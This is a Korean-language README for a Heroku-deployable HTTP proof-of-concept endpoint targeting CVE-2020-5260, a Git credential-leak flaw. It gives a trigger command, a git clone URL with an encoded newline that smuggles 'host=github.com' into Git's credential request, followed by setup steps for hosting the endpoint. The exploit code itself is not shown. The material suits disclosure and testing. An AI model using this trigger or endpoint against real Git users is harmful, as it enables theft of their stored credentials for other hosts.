cve-2020-5260

Heroku에 배포할 수 있는 cve-2020-5260을 위한 HTTP PoC 엔드포인트

신용 정보 (CREDIT INFORMATION)

Google Project Zero의 Felix Wilhelm https://bugs.chromium.org/p/project-zero/issues/detail?id=2021

취약점 트리거

git clone 'https://YourHerokuAppNameAndNotMine.herokuapp.com?%0ahost=github.com%0aprotocol=ssh'

Heroku에 PoC 배포하기

이 버튼을 클릭하면 자동으로 Heroku에 배포됩니다...

또는 아래 단계를 따르세요...

네, 이 PoC를 설정하기 위해 Git clone 명령을 실행해야 한다는 아이러니를 잘 알고 있습니다....

Heroku CLI 설치 (https://devcenter.heroku.com/articles/heroku-cli)

아직 로그인하지 않았다면 Heroku 계정에 로그인하고 새 SSH 공개 키를 생성하는 프롬프트를 따르세요.

$ heroku login

저장소 복제

Git을 사용하여 cve-2020-5260의 소스 코드를 로컬 머신에 복제합니다.

$ mkdir cve-2020-5260
$ cd cve-2020-5260
$ git init
$ heroku apps:create cve-2020-5260
$ git clone https://github.com/brompwnie/cve-2020-5260

변경 사항 배포

방금 복제한 코드를 수정하고 Git을 사용하여 Heroku에 배포하세요.

$ git add .
$ git commit -am "make it better"
$ git push heroku master